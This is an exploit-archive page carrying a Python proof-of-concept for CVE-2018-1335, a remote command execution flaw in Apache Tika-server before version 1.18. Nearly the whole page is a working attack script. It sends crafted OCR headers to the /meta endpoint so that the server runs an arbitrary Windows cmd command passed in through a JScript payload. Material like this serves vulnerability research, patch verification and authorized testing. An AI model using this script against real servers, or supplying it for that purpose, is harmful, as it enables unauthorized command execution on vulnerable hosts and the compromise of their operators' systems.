Apache Tika Server Command Injection

Related Vulnerabilities: CVE-2018-1335   CVE-2018-1335  
Publish Date: 13 Mar 2019
                							

                ######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #   
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
  print "Usage: python CVE-2018-1335.py <host> <port> <command>"
  print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
  host = sys.argv[1]
  port = sys.argv[2]
  cmd = sys.argv[3]

  url = host+":"+str(port)+"/meta"

  headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
    "X-Tika-OCRLanguage": "//E:Jscript", 
    "Expect": "100-continue", 
    "Content-type": "image/jp2", 
    "Connection": "close"}

  jscript='''var oShell = WScript.CreateObject("WScript.Shell");
  var oExec = oShell.Exec('cmd /c {}');
  '''.format(cmd)

  try:
    requests.put("https://"+url, headers=headers, data=jscript, verify=False)
  
  except:
    try:
      requests.put("http://"+url, headers=headers, data=jscript)
    except:
      print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"
<p>